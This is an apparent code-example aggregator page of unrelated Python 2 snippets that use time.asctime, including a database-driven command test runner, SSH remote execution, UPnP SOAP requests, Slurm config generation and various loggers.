Example #1
0
def exec_key(key, test_name, result_query, test_detail, log_file, host, port, db):
    start = time.asctime()
    try:
        cmd = db_get(key, host, port, db)
        r = os.popen(cmd).read()
        if result_query not in r:
            a = "Failed: {0}\n".format(test_name)
            b = "Test detail: \n" + test_detail + "\n"
            c = "Result: " + r + "\n"
            stop = time.asctime()
            test_result = "Fail"
            test_logger(log_file, test_name, start, stop, test_result)
            store_detail(test_detail=test_detail, test_name=test_name, host=host, port=port, db=db)
            return a, b, c
        if result_query in r:
            a = "Pass: {0}\n".format(test_name)
            b = "Test detail: \n" + test_detail + "\n"
            c = "Result: \n" + r + "\n"
            stop = time.asctime()
            test_result = "Pass"
            test_logger(log_file, test_name, start, stop, test_result)
            store_detail(test_detail=test_detail, test_name=test_name, host=host, port=port, db=db)
            return a, b, c
    except TypeError:
        print "Key doesn't exist in DB"
Example #2
0
def read(warc_files):
    for w in warc_files:
        print time.asctime(), w
        sys.stdout.flush()
        reader = warc.WARCReader(open(w))
        for r in reader.read():
            yield r
Example #3
0
def schedule_exec_key(key, test_name, result_query, test_detail, exec_time, log_file, host, port, db):
    start = time.asctime()
    if exec_time in time.asctime():
        try:
            cmd = cmd = db_get(key, host, port, db)
            r = os.popen(cmd).read()
            if result_query not in r:
                print "Failed {0}\n".format(test_name)
                print "Test detail: \n" + test_detail + "\n"
                print "Result: " + r + "\n"
                stop = time.asctime()
                test_logger(log_file, test_name, start, stop, "Fail")
                store_detail(test_detail=test_detail, test_name=test_name, host=host, port=port, db=db)
            if result_query in r:
                print "Pass {0}\n".format(test_name)
                print "Test detail: \n" + test_detail + "\n"
                print "Result: " + r + "\n"
                stop = time.asctime()
                test_logger(log_file, test_name, start, stop, "Pass")
                store_detail(test_detail=test_detail, test_name=test_name, host=host, port=port, db=db)
        except TypeError:
            print "Key doesn't exist in DB"
    else:
          print "{0} ".format(test_name) + "Will run next @ {0}".format(exec_time)
          stop = time.asctime()
          test_logger(log_file, test_name, start, stop, "Command Deferred")
 def DISPLAY_temp(self):
     """ Here be the first time we actually do some stuff from the internet!
     """
     res, color = [], []
     text = "Current temperature:"
     res.append("{}{:>5}".format(
         text, self.return_term('temp_in_fahr')))
     color.append("{}{}".format('0' * len(text), '6' * 5))
     res.append("Wind: {}".format(self.return_term('wind_string')))
     color.append('0' * len(res[1]))
     res.append("Current time: {}".format(time.asctime()))
     color.append('0' * len(res[2]))
     res.append("")
     color.append("")
     res.append("{}".format(self.return_term('observation_time')))
     color.append('0' * len(res[-1]))
     txt1 = "Request time: "
     tmp = time.asctime(time.localtime(self.last_query))
     res.append("{}{}".format(txt1, tmp))
     color.append("{}{}".format('0' * len(txt1), '4' * len(tmp)))
     txt1, txt2 = "Connection is ", "seconds old"
     tmp = int(time.time()) - self.last_query
     res.append("{}{:<5}{}".format(txt1, tmp, txt2))
     color.append("{}{}{}".format(
         '0' * len(txt1), '6' * 5, '0' * len(txt2)))
     res.append("time out length: {}".format(self.time_out))
     color.append('2' * len(res[-1]))
     return res, color
Example #5
0
	def submit_work(self, rpc, original_data, nonce_bin):
		nonce_bin = bufreverse(nonce_bin)
		nonce = nonce_bin.encode('hex')
		solution = original_data[:152] + nonce + original_data[160:256]
		param_arr = [ solution ]
		result = rpc.getwork(param_arr)
		print time.asctime(), "--> Upstream RPC result:", result
Example #6
0
def remote_exec_key(key, host, port, user, password, test_name, result_query, test_detail, log_file, db_host, db_port, db):
    start = time.asctime()
    cl = paramiko.SSHClient()
    cl.set_missing_host_key_policy(paramiko.AutoAddPolicy())
    try:
        cc = cl.connect(host, port=port, username=user, password=password)
    except paramiko.ssh_exception.AuthenticationException:
            print "Auth Error"
    except paramiko.ssh_exception.SSHException:
            print "Protocol Error"
    except paramiko.transport:
            print "General Error"
    except socket.error:
            print "Socket Error"
    func = db_get(key, db_host, db_port, db)
    stdin, stdout, stderr =  cl.exec_command(func)
    a = stdout.readlines()
    cmd = str(a)
    if result_query not in cmd:
        print "Failed {0}\n".format(test_name)
        print "Test detail: \n" + test_detail + "\n"
        print "Result: \n" + cmd + "\n"
        stop = time.asctime()
        test_logger(log_file, test_name, start, stop, "Fail")
        store_detail(test_detail=test_detail, test_name=test_name, host=host, port=port, db=db)
    if result_query in cmd:
        print "Pass {0}".format(test_name)
        print "Test detail: \n" + test_detail + "\n"
        print "Result: \n" + cmd + "\n"
        stop = time.asctime()
        test_logger(log_file, test_name, start, stop, "Pass")
        store_detail(test_detail=test_detail, test_name=test_name, host=host, port=port, db=db)
Example #7
0
def exec_file(script, test_name, result_query, test_detail, log_file):
    start = time.asctime()
    chmod = os.popen("chmod +x ./{0}".format(script)).read()
    if ":sh" in chmod:
        print "Failed to chmod\n"
        stop = time.asctime()
        test_result = "Fail"
        test_logger(log_file, "Chmod", start, stop, test_result)
    if ":sh" not in chmod:
        print "Pass chmod {0}".format(test_name)
        stop = time.asctime()
        test_result = "Pass"
        test_logger(log_file, "Chmod", start, stop, test_result)
    cmd = os.popen("./{0}".format(script)).read()
    if result_query not in cmd:
        print "Failed {0}\n".format(test_name)
        print "Test detail: \n" + test_detail + "\n"
        print "Result: \n" + cmd + "\n"
        stop = time.asctime()
        test_logger(log_file, test_name, start, stop, "Fail")
    if result_query in cmd:
        print "Pass {0}".format(test_name)
        print "Test detail: \n" + test_detail + "\n"
        print "Result: \n" + cmd + "\n"
        stop = time.asctime()
        test_logger(log_file, test_name, start, stop, "Pass")
Example #8
0
    def __init__(self):
        config = ConfigParser.ConfigParser()
        if not config.read('muninrc'):
            raise ValueError("Expected configuration in muninrc, not found.")

        self.loader = Loader()
        self.loader.populate('munin')
        self.ircu_router = self.loader.get_module(self.IRCU_ROUTER)

        self.client = connection(config)
        self.client.connect()
        self.client.wline("NICK %s" % config.get("Connection", "nick"))
        self.client.wline("USER %s 0 * : %s" % (config.get("Connection", "user"),
                                                config.get("Connection", "name")))
        self.config = config
        router=self.ircu_router.ircu_router(self.client,self.config,self.loader)
        while True:
            try:
                self.reboot()
                break
            except socket.error, s:
                print "Exception during command at %s: %s" %(time.asctime(),s.__str__())
                traceback.print_exc()
                raise
            except socket.timeout, s:
                print "Exception during command at %s: %s" %(time.asctime(),s.__str__())
                traceback.print_exc()
                raise
Example #9
0
def remote_exec_file(script, host, port, user, password, test_name, result_query, test_detail, log_file):
    start = time.asctime()
    cl = paramiko.SSHClient()
    cl.set_missing_host_key_policy(paramiko.AutoAddPolicy())
    try:
        cc = cl.connect(host, port=port, username=user, password=password)
    except paramiko.ssh_exception.AuthenticationException:
            print "Auth Error"
    except paramiko.ssh_exception.SSHException:
            print "Protocol Error"
    except paramiko.transport:
            print "General Error"
    except socket.error:
            print "Socket Error"
    scp = SCPClient(cl.get_transport())
    scp.put(script,script)
    cl.exec_command("chmod +x ./{0}".format(script))
    stdin, stdout, stderr =  cl.exec_command("./{0}".format(script))
    a = stdout.readlines()
    cmd = str(a)
    if result_query not in cmd:
        print "Failed {0}\n".format(test_name)
        print "Test detail: \n" + test_detail + "\n"
        print "Result: \n" + cmd + "\n"
        stop = time.asctime()
        test_logger(log_file, test_name, start, stop, "Fail")
    if result_query in cmd:
        print "Pass {0}".format(test_name)
        print "Test detail: \n" + test_detail + "\n"
        print "Result: \n" + cmd + "\n"
        stop = time.asctime()
        test_logger(log_file, test_name, start, stop, "Pass")
Example #10
0
def run_tests(steps):
    '''run a list of steps'''
    global results

    passed = True
    failed = []
    for step in steps:
        util.pexpect_close_all()
        if skip_step(step):
            continue

        t1 = time.time()
        print(">>>> RUNNING STEP: %s at %s" % (step, time.asctime()))
        try:
            if not run_step(step):
                print(">>>> FAILED STEP: %s at %s" % (step, time.asctime()))
                passed = False
                failed.append(step)
                results.add(step, '<span class="failed-text">FAILED</span>', time.time() - t1)
                continue
        except Exception, msg:
            passed = False
            failed.append(step)
            print(">>>> FAILED STEP: %s at %s (%s)" % (step, time.asctime(), msg))
            traceback.print_exc(file=sys.stdout)
            results.add(step, '<span class="failed-text">FAILED</span>', time.time() - t1)
            check_logs(step)
            continue
        results.add(step, '<span class="passed-text">PASSED</span>', time.time() - t1)
        print(">>>> PASSED STEP: %s at %s" % (step, time.asctime()))
        check_logs(step)
Example #11
0
  def _render_increment_info(increment):
    """Render increment information.

    Args:
      increment: Associated Increment.Increment instance.

    Returns:
      [['Content-Type', 'text/plain'], rendered_info]
    """
    value = '\n'.join(('Manent backup increment.',
                       '',
                       'started:  %(started_str)s (%(started)s)',
                       'finished: %(finished_str)s (%(finished)s)',
                       'fs:       %(fs_digest)s:%(fs_level)s',
                       'hostname: %(hostname)s',
                       'backup:   %(backup)s',
                       'comment:  %(comment)s'))
    started = increment.get_attribute('ctime')
    finished = increment.get_attribute('ctime')
    value %= {'started_str': time.asctime(time.localtime(float(started))),
              'started': started,
              'finished_str': time.asctime(time.localtime(float(finished))),
              'finished': finished,
              'fs_digest': base64.b64encode(
                  increment.get_attribute('fs_digest')),
              'fs_level': increment.get_attribute('fs_level'),
              'hostname': increment.get_attribute('hostname'),
              'backup': increment.get_attribute('backup'),
              'comment': increment.get_attribute('comment')}
    return [['Content-Type', 'text/plain']], value
Example #12
0
def stage_files(i):
    start = time.time()
    print "####################" + time.asctime(time.localtime(time.time())) + "##################"
    print "start staging files"
    if i < RPB:
        try:
            os.mkdir(WORK_DIR + "agent/" + str(i))
        except OSError:
            pass
        os.system("cp -r " + REPLICA_DIR + "* " + WORK_DIR + "agent/" + str(i) + "/")
    elif i >= RPB and i < (2 * RPB):
        try:
            os.mkdir(WORK_DIR + "agent/" + str(i))
        except OSError:
            pass
        os.system("gsiscp -r " + WORK_DIR + "agent/" + str(i) + " " + GRIDFTP1 + ":" + WORK_DIR1 + "agent/")
        os.system("gsiscp -r " + REPLICA_DIR + "* " + GRIDFTP1 + ":" + WORK_DIR1 + "agent/" + str(i) + "/")
    elif i >= (2 * RPB) and i < (3 * RPB):
        try:
            os.mkdir(WORK_DIR + "agent/" + str(i))
        except OSError:
            pass
        os.system("gsiscp -r " + WORK_DIR + "agent/" + str(i) + " " + REMOTE2 + ":" + WORK_DIR2 + "agent/")
        os.system("gsiscp -r " + REPLICA_DIR + "* " + REMOTE2 + ":" + WORK_DIR2 + "agent/" + str(i) + "/")
    else:
        try:
            os.mkdir(WORK_DIR + "agent/" + str(i))
        except OSError:
            pass
        os.system("gsiscp -r " + WORK_DIR + "agent/" + str(i) + " " + REMOTE3 + ":" + WORK_DIR3 + "agent/")
        os.system("gsiscp -r " + REPLICA_DIR + "* " + REMOTE3 + ":" + WORK_DIR3 + "agent/" + str(i) + "/")
    print "####################" + time.asctime(time.localtime(time.time())) + "##################"
    print "end staging files"
    print "time to stage files: " + str(time.time() - start) + " s"
Example #13
0
	def _update_date(self, series):

		_date_aired = series.episode(series.fileDetails.seasonNum, series.fileDetails.episodeNums)[0].first_aired
		cur_date = time.localtime(os.path.getmtime(series.fileDetails.newName))
		if _date_aired:
			_date_aired = datetime.datetime.combine(_date_aired, datetime.time())
			tt = _date_aired.timetuple()
			log.debug('Current File Date: %s  Air Date: %s' % (time.asctime(cur_date), time.asctime(tt)))
			tup_cur = [cur_date[0],
					   cur_date[1],
					   cur_date[2],
					   cur_date[3],
					   cur_date[4],
					   cur_date[5],
					   cur_date[6],
					   cur_date[7],
					   -1]
			tup = [tt[0], tt[1], tt[2], 20, 0, 0, tt[6], tt[7], tt[8]]
			if tup != tup_cur:
				time_epoc = time.mktime(tup)
				try:
					log.info("Updating First Aired: %s" % _date_aired)
					os.utime(series.fileDetails.newName, (time_epoc, time_epoc))
				except (OSError, IOError), exc:
					log.error("Skipping, Unable to update time: %s" % series.fileDetails.newName)
					log.error("Unexpected error: %s" % exc)
			else:
					log.info("First Aired Correct: %s" % _date_aired)
Example #14
0
def DetermineStartDate(client, job, callback):
  """If smart_scan is true, lookup the start date from previous job summaries, otherwise use --start_date.
  --start_date and job summary days are of the form YYYY-MM-DD.
  """
  start_date = options.options.start_date

  # Lookup previous runs started in the last week.
  if options.options.smart_scan:
    # Search for successful full-scan run in the last week.
    last_run = yield gen.Task(job.FindLastSuccess, with_payload_key='stats.last_day')
    if last_run is None:
      logging.info('No previous successful scan found, rerun with --start_date')
      callback(None)
      return

    last_run_start = last_run['start_time']
    if (last_run_start + options.options.hours_between_runs * constants.SECONDS_PER_HOUR > time.time()):
      logging.info('Last successful run started at %s, less than %d hours ago; skipping.' %
                   (time.asctime(time.localtime(last_run_start)), options.options.hours_between_runs))
      callback(None)
      return

    # Start start_date to the last processed day + 1.
    last_day = last_run['stats.last_day']
    start_time = util.ISO8601ToUTCTimestamp(last_day) + constants.SECONDS_PER_DAY
    start_date = util.TimestampUTCToISO8601(start_time)
    logging.info('Last successful run (%s) scanned up to %s, setting start date to %s' %
                 (time.asctime(time.localtime(last_run_start)), last_day, start_date))

  callback(start_date)
Example #15
0
def loadConfigFile():
    global CONFIG_FILE
    global CONFIG_DIR
    global DEFAULTS 
    
    filename = os.path.join(CONFIG_DIR, CONFIG_FILE)
    if not os.path.exists(filename):
        log ('Configuration file does not exist. Using defaults.')
        return

    fd = open(filename, 'r')

    try:
        for line in fd.readlines():
            line = line.strip()
            if line.startswith('#'):
                continue
            parts = line.split('=')
            key = parts[0]
            val = parts[1]
            if DEFAULTS.has_key(key):
                if isinstance(DEFAULTS[key],int):
                    DEFAULTS[key] = int(val)
                else:
                    DEFAULTS[key] = val
            else:
                print time.asctime(),'Ignoring unknown config variable ' +  key
    finally:
        fd.close()
Example #16
0
 def got_response1_event(self,rdata1,peer_id):
     if self.state != STATE_AWAIT_R1:
         self.state = STATE_FAILED
         if DEBUG:
             print >> sys.stderr,time.asctime(),'-', "Got unexpected RESPONSE1 message"
         raise PermIDException
     [randomA,peer_pub] = check_response1(rdata1,self.my_random,self.my_id)
     
     if randomA is None or peer_pub is None:
         self.state = STATE_FAILED
         if DEBUG:
             print >> sys.stderr,time.asctime(),'-', "Got bad RESPONSE1 message"
         raise PermIDException
     
     # avoid being connected by myself
     peer_permid = str(peer_pub.get_der())
     if self.permid == peer_permid:
         self.state = STATE_FAILED
         if DEBUG:
             print >> sys.stderr,time.asctime(),'-', "Got the same Permid as myself"
         raise PermIDException
     
     self.peer_id = peer_id
     self.peer_random = randomA
     self.peer_pub = peer_pub
     self.set_peer_authenticated()
     rdata2 = generate_response2(self.peer_random,self.peer_id,self.my_random,self.my_keypair)
     return rdata2
Example #17
0
    def listening(self):

        """
        loop in which the client waits for the servers bewegeString and answers
        with his calculated destination
        after we get 'Ende' the ssl connection will be closed
        """
        while True:
            try:
                bewegeString = read(self.connection)
                if self.worldSize == None:
                    write(self.connection, 'Weltgroesse?')
                    self.worldSize = read(self.connection)
                    print 'world size:', self.worldSize
                print 'bewegeString=' + bewegeString #string which is given by the server
                if 'Ende' in bewegeString:
                    break
                    #sending our calculated destination
                destination = str(self.beast.bewege(bewegeString))
                if len(destination) > 0 and destination != 'None':
                    print 'sent=' + destination
                    write(self.connection, destination)
            except Exception as e:
                print time.asctime(), e, ': lost connection to Server'
                break
        self.connection.close()
Example #18
0
def main():
    """ Get hardware info, format it, and write to slurm.conf and gres.conf """
    args = parse_args()

    # Get info from cnode and xthwinv
    repurposed = get_repurposed_computes(args.partition)
    nodes = get_inventory(args.partition, repurposed)
    nodelist = rli_compress([int(nid) for nid in nodes])
    compact_nodes(nodes)
    defmem, maxmem = get_mem_per_cpu(nodes)

    # Write files from templates
    jinjaenv = Environment(loader=FileSystemLoader(args.templatedir))
    conffile = os.path.join(args.output, 'slurm.conf')
    print 'Writing Slurm configuration to {0}...'.format(conffile)
    with open(conffile, 'w') as outfile:
        outfile.write(jinjaenv.get_template('slurm.conf.j2').render(
            script=sys.argv[0],
            date=time.asctime(),
            controlmachine=args.controlmachine,
            grestypes=get_gres_types(nodes),
            defmem=defmem,
            maxmem=maxmem,
            nodes=nodes,
            nodelist=nodelist))

    gresfilename = os.path.join(args.output, 'gres.conf')
    print 'Writing gres configuration to {0}...'.format(gresfilename)
    with open(gresfilename, 'w') as gresfile:
        gresfile.write(jinjaenv.get_template('gres.conf.j2').render(
            script=sys.argv[0],
            date=time.asctime(),
            nodes=nodes))

    print 'Done.'
def main(filenms, workdir, resultsdir):

    # Change to the specified working directory
    os.chdir(workdir)

    job = set_up_job(filenms, workdir, resultsdir)
    
    print "\nBeginning PALFA search of %s" % (', '.join(job.filenms))
    print "UTC time is:  %s"%(time.asctime(time.gmtime()))
    
    try:
        search_job(job)
    except:
        print "***********************ERRORS!************************"
        print "  Search has been aborted due to errors encountered."
        print "  See error output for more information."
        print "******************************************************"
        raise
    finally:
        clean_up(job)

        # And finish up
        job.total_time = time.time() - job.total_time
        print "\nFinished"
        print "UTC time is:  %s"%(time.asctime(time.gmtime()))

        # Write the job report
        # job.write_report(job.basefilenm+".report")
        job.write_report(os.path.join(job.outputdir, job.basefilenm+".report"))
Example #20
0
    def add_tracks(self):
        """Append tracks to the queue.

        Previously, new playlists were retrieved by incrementing the
        current show ID, but incrementing is not guaranteed to yield
        a valid playlist and it leads to an infinite loop if no valid
        playlists are found up to the present, so now a random show ID
        is selected every time. Since shows are not scheduled according
        to genre continuity, selecting a random show every time has no
        less continuity than incrementing.
        """
        begin_index = len(self._queue)

        while len(self._queue) < PLAYLIST_MIN_LENGTH:
            # retrieve playlist from database
            self._show_id = database.get_new_show_id(self._show_id)

            if self._show_id is -1:
                time.sleep(1.0)

            playlist = database.get_playlist(self._show_id)

            # add each track whose artist isn't already in the queue or played list
            self._queue.extend([t for t in playlist if not is_artist_in_list(t, self._played) and not is_artist_in_list(t, self._queue)])

            print time.asctime() + " :=: CartQueue :: Added tracks, length is " + (str)(len(self._queue))

        self._gen_start_times(begin_index)
Example #21
0
def main():
    """Takes command line args and computes samples from the joint posterior
    using Gibbs sampling"""

    # record the start time
    t = time.time()

    # get the command line args
    args = parser()
    if args.seed>0:
        np.random.seed(args.seed)
    
    # read in data if required
    if args.inputfile:
        Y,N,nd,missmat = readdata(args.inputfile,args.Ndata,args.cols,args.sep,args.logdata)
    else:
        Y,N,nd,missmat,args = gendata(args)

    # call igmm Gibbs sampler
    Samp,Y = igmm_sampler(Y,args.Nsamples,missmat,args.Nint,anneal=args.anneal,verb=args.verb) 

    # print computation time
    print "{}: time to complete main analysis = {} sec".format(time.asctime(),time.time()-t)    

    # save data to file
    pickle.dump(zip(Samp,Y,missmat), open( args.path + "_output.p", "wb" ) )

    # plot chains, histograms, average maps, and overlayed ellipses
    print '{}: making output plots'.format(time.asctime()) 
    plotsamples(Samp,args,args.path + '_chains.png',args.path + '_hist.png')
    plotresult(Samp,Y,args.path + '_ellipses.png',M=4,Ngrid=100,plottype='ellipse')
    plotresult(Samp,Y,args.path + '_maps.png',missmat=missmat,M=100,Ngrid=100,plottype='map')

    print '{}: success'.format(time.asctime())    
Example #22
0
 def do_soap_request(self,methodname,port=-1,iproto='TCP',internalip=None):
     for location in self.services:
         for servicetype in UPNP_WANTED_SERVICETYPES:
             if self.services[location]['servicetype'] == servicetype:
                 o = urlparse(location)
                 endpoint = o[0]+'://'+o[1]+self.services[location]['controlurl']
                 # test: provoke error
                 #endpoint = o[0]+'://'+o[1]+'/bla'+self.services[location]['controlurl']
                 if DEBUG:
                     print >> sys.stderr,time.asctime(),'-', "upnp: "+methodname+": Talking to endpoint ",endpoint
                 (headers,body) = self.create_soap_request(methodname,port,iproto=iproto,internalip=internalip)
                 #print body
                 try:
                     req = urllib2.Request(url=endpoint,data=body,headers=headers)
                     f = urllib2.urlopen(req)
                     resp = f.read()
                 except urllib2.HTTPError,e:
                     resp = e.fp.read()
                     if DEBUG:
                         print_exc()
                 srch = SOAPResponseContentHandler(methodname)
                 if DEBUG:
                     print >> sys.stderr,time.asctime(),'-', "upnp: "+methodname+": response is",resp
                 try:
                     srch.parse(resp)
                 except sax.SAXParseException,e:
                     # Our test linux-IGD appears to return an incompete
                     # SOAP error reply. Handle this.
                     se = srch.get_error()
                     if se is None:
                         raise e
                     # otherwise we were able to parse the error reply
                 return srch
Example #23
0
    def reserve_pieces(self, pieces, sdownload, all_or_nothing = False):
        pieces_to_send = []
        ex = "None"
        result = []
        for piece in pieces:
            if self.is_reserved(piece):
                result.append(piece)
            elif not self.is_ignored(piece):
                pieces_to_send.append(piece)

        if DEBUG:
            print >> sys.stderr,time.asctime(),'-', "helper: reserve_pieces: result is",result,"to_send is",pieces_to_send

        if pieces_to_send == []:
            return result
        if self.coordinator is not None:
            if DEBUG:
                print >>sys.stderr,time.asctime(),'-', "helper: reserve_pieces: I am coordinator, calling self.coordinator.reserve_pieces"
            new_reserved_pieces = self.coordinator.network_reserve_pieces(pieces_to_send, all_or_nothing)
            for piece in new_reserved_pieces:
                self._reserve_piece(piece)
        else:
            if DEBUG:
                print >>sys.stderr,time.asctime(),'-', "helper: reserve_pieces: sending remote reservation request"
            self.send_or_queue_reservation(sdownload,pieces_to_send,result)
            return []

        result = []
        for piece in pieces:
            if self.is_reserved(piece):
                result.append(piece)
            else:
                self._ignore_piece(piece)
        return result
Example #24
0
def get_commits(repository, branch, page):
        path = settings.REPOSITORY_PATH
        if (path[len(path)-2] != '/'):
                path += '/'

	repo = git.Repo(path+repository)
	commits = repo.commits(branch, max_count=10, skip=int(page)*10)
	n_commits = len(commits)
	resp_json = {"commits": n_commits}
	
	next_page = True
	end_pagination = repo.commits(branch, max_count=10, skip=int(page)*10+10)
	if (end_pagination == []):
		next_page = False
	resp_json["next_page"] = next_page

	i=0
	while i < n_commits:
		resp_json[str(i)]=[commits[i].id,				# id del commit
				   commits[i].tree.id,				# id del arbol asociado al commit
				   commits[i].author.name, 			# nombre del autor del codigo
				   commits[i].author.email, 			# email del autor del codigo
				   time.asctime(commits[i].authored_date), 	# fecha de creacion del codigo
				   commits[i].committer.name, 			# nombre del autor del commit
	  			   commits[i].committer.email, 			# email del autor del commit
				   time.asctime(commits[i].committed_date), 	# fecha del commit
				   commits[i].message] 				# mensaje asociado al commit
		i+=1

	return simplejson.dumps(resp_json)
Example #25
0
def get_head(repository, commit):
        path = settings.REPOSITORY_PATH
        if (path[len(path)-2] != '/'):
                path += '/'

	repo = git.Repo(path+repository)
	head = repo.commits(commit)[0]
	n_parents = len(head.parents)
	resp_json = {"id": head.id, "parents": n_parents}

	i=0
	while i < n_parents:
		resp_json[str(i)]=head.parents[i].id
		i+=1

	resp_json["tree"] = head.tree.id
	resp_json["author_name"] = head.author.name
	resp_json["author_email"] = head.author.email
	resp_json["fecha_creacion"] = time.asctime(head.authored_date)
	resp_json["committer_name"] = head.committer.name
	resp_json["committer_email"] = head.committer.email
	resp_json["fecha_commit"] = time.asctime(head.committed_date)
	resp_json["message"] = head.message

	return simplejson.dumps(resp_json)
Example #26
0
 def SendPacket(self, s, type):
     BUFFER_SIZE = 1024
     Packet = [self.Kod]
     Packet.append(self.Len[0])
     Packet.append(self.Len[1])
     Packet.append(self.RetranNum)
     Packet.append(self.Flag)
     Packet.append(self.MyAdd[0])
     Packet.append(self.MyAdd[1])
     Packet.append(self.MyAdd[2])
     Packet.append(self.DestAdd[0])
     Packet.append(self.DestAdd[1])
     Packet.append(self.DestAdd[2])
     Packet.append(self.Tranzaction)
     Packet.append(self.PacketNumber)
     Packet.append(self.PacketItem)
     for i in range(0, len(self.Data)):
         Packet.append(self.Data[i])
     lenght = len(Packet)
     lenght += 2
     self.Len[0] = lenght & 0xFF
     self.Len[1] = (lenght >> 8) & 0xFF
     Packet[1] = self.Len[0]
     Packet[2] = self.Len[1]
     CRC = RTM64CRC16(Packet, len(Packet))
     Packet.append(CRC & 0xFF)
     Packet.append((CRC >> 8) & 0xFF)
     data_s = []
     if type == 1:
         Packet_str = bytearray(Packet[0:])
         print(Packet_str)
         time_start = time.time()
         s.send(Packet_str)
         s.settimeout(1)
         # data = s.recvfrom(BUFFER_SIZE)
         try:
             data = s.recv(BUFFER_SIZE)
             self.OkReceptionCnt += 1
             time_pr = time.time() - time_start
             #    data = char_to_int(data_s,len(data_s))
             for i in range(0, len(data)):
                 data_s.append(data[i])
             #     data_s = "".join(data)
             print(data_s, self.OkReceptionCnt)
             print(time_pr, "s")
             print(len(data))
         except socket.timeout:
             self.Errorcnt += 1
             print("TCP_RecvError", self.Errorcnt)
             print(time.asctime())
             error_log = open("error_log_TCP.txt", "a")
             error_log.write("TCP_RecvError" + time.asctime() + str(self.Errorcnt) + "\n")
             error_log.close()
     elif type == 0:
         print(Packet)
         send_log = open("send_log.txt", "a")
         send_log.write(str(Packet))
         send_log.close()
         s.write(Packet)
     return data_s
def log_sig_exit(type, mssg, sigevent_url):
    """
    Send a message to the log, to sigevent, and then exit.
    Arguments:
        type -- 'INFO', 'WARN', 'ERROR'
        mssg -- 'message for operations'
        sigevent_url -- Example:  'http://[host]/sigevent/events/create'
    """
    # Add "Exiting" to mssg.
    mssg=str().join([mssg, '  Exiting colormap2vrt.'])
    # Send to sigevent.
    try:
        sent=sigevent(type, mssg, sigevent_url)
    except urllib2.URLError:
        print 'sigevent service is unavailable'
    # Send to log.
    if type == 'INFO':
        log_info_mssg_with_timestamp(mssg)
    elif type == 'WARN':
        logging.warning(time.asctime())
        logging.warning(mssg)
    elif type == 'ERROR':
        logging.error(time.asctime())
        logging.error(mssg)
    # Exit.
    sys.exit()
Example #28
0
def do_nothing():
  try:
    import time
    print time.asctime()
    time.sleep(1)
  except KeyboardInterrupt:
    print "Aborted."
Example #29
0
def createTorr(filename):

    # get the time in a convinient format
    seconds = int(config["end"]) - int(config["start"])
    m, s = divmod(seconds, 60)
    h, m = divmod(m, 60)

    humantime = "%02d:%02d:%02d" % (h, m, s)

    if config["debug"]:
        print >> sys.stderr, time.asctime(), "-", "duration for the newly created torrent: ", humantime

    dcfg = DownloadStartupConfig()
    #  dcfg.set_dest_dir(basename)
    tdef = TorrentDef()
    tdef.add_content(filename, playtime=humantime)
    tdef.set_tracker(SESSION.get_internal_tracker_url())
    print >> sys.stderr, time.asctime(), "-", tdef.get_tracker()
    tdef.finalize()

    if config["torrName"] == "":
        torrentbasename = config["videoOut"] + ".torrent"
    else:
        torrentbasename = config["torrName"] + ".torrent"

    torrentfilename = os.path.join(config["destdir"], torrentbasename)
    tdef.save(torrentfilename)

    if config["seedAfter"]:
        if config["debug"]:
            print >> sys.stderr, time.asctime(), "-", "Seeding the newly created torrent"
        d = SESSION.start_download(tdef, dcfg)
        d.set_state_callback(state_callback, getpeerlist=False)
Example #30
0
    def _dequeue(self):
        """Stop and dequeue the first track in the queue."""
        print time.asctime() + " :=: CartQueue :: Dequeuing " + self._queue[0].cart_id

        self._queue[0].stop()
        self._on_cart_stop()
        self._played.append(self._queue.pop(0))
Example #31
0
        }

        tf_sum_base = pd.DataFrame(tf_sum, columns=['Record', 'Observation'])

        tf_sum_out = tf_sum_base.transpose()

        print(WU_date)

        out_path = r'X:\exchange\ElHachem\wunderground\data\%s_%s.xlsx' % (
            station_ID, WU_date)
        with pd.ExcelWriter(out_path) as writer:
            tf_out.to_excel(writer, sheet_name=WU_date)
            tf_sum_out.to_excel(writer, sheet_name='Summary')

    except Exception:
        print('ERE')
        tf_out = pd.DataFrame()
        tf_sum_out = pd.DataFrame()
        with pd.ExcelWriter(out_path) as writer:
            tf_out.to_excel(writer, sheet_name=WU_date)
            tf_sum_out.to_excel(writer, sheet_name='Summary')

if __name__ == '__main__':

    print('**** Started on %s ****\n' % time.asctime())
    START = timeit.default_timer()  # to get the runtime of the program

    STOP = timeit.default_timer()  # Ending time
    print(('\n****Done with everything on %s.\nTotal run time was'
           ' about %0.4f seconds ***' % (time.asctime(), STOP - START)))
 def yearstr(self, y):
     return time.asctime((y, ) + (0, ) * 8).split()[-1]
 def test_conversions(self):
     self.assertEqual(time.ctime(self.t),
                      time.asctime(time.localtime(self.t)))
     self.assertEqual(int(time.mktime(time.localtime(self.t))), int(self.t))
Example #34
0
    # run sigrid
    err = open('log.err', 'w')
    out = open('log.txt', 'w')
    call(['python', 'sigrid_conserve.py'], stdout=out, stderr=err)
    out.close()
    sigrid_eval.append(getEvaluationTime('log.txt'))
    sigrid_weights.append(getWeightsTime('log.txt'))

print(ns)
print(esmf_eval)
print(esmf_weights)
print(sigrid_eval)
print(sigrid_weights)
# write to file
import re, time
ta = re.sub(' ', '_', time.asctime())
f = open('run_node_interp-{}.csv'.format(ta), 'w')
f.write(
    'src_num_cells*dst_num_cells,esmf_eval,esmf_weights,sigrid_eval,sigrid_weights\n'
)
for i in range(len(ns)):
    f.write('{},{},{},{},{}\n'.format(ns[i], esmf_eval[i], esmf_weights[i],
                                      sigrid_eval[i], sigrid_weights[i]))
f.close()

from matplotlib import pylab
import matplotlib
pylab.loglog(ns, esmf_eval, 'ro', markersize=8)
pylab.loglog(ns, esmf_weights, 'rs', markersize=8)
pylab.loglog(ns, sigrid_eval, 'bo', markersize=8)
pylab.loglog(ns, sigrid_weights, 'bs', markersize=8)
Example #35
0
            if (i == 0):
                header = row
                i = i + 1
                continue
            temporary.append(row)
        csvfile.close()
    temporary.append(cas)
    with open('casi.csv', 'w', newline='') as csvfile:
        obj = csv.writer(csvfile)
        obj.writerow(header)
        obj.writerows(temporary)


zacetni_cas = time.time()
dan = time.strftime("%d.%m.%Y, %A ,%X")
print("začel si ob: ", time.asctime(time.localtime()))
odmor = [0, 0]
pavza = [0]
print("Kakšna opomba za to merjenje časa?")
opomba = input(
    "1 za programiranje, 2 za prosti čas, drugače pa kr napiš kar hočeš: \n")
try:
    opomba = opomba
    if opomba.strip() == "1":
        opomba = "Programiranje"
    elif opomba.strip() == "2":
        opomba = "Zabušavanje"
    else:
        opomba = str(opomba)
except Exception as f:
    print(f)
Example #36
0
def Add_Ascii_Time(yOffset):

    textString = time.asctime()

    Add_Text(textString, yOffset)
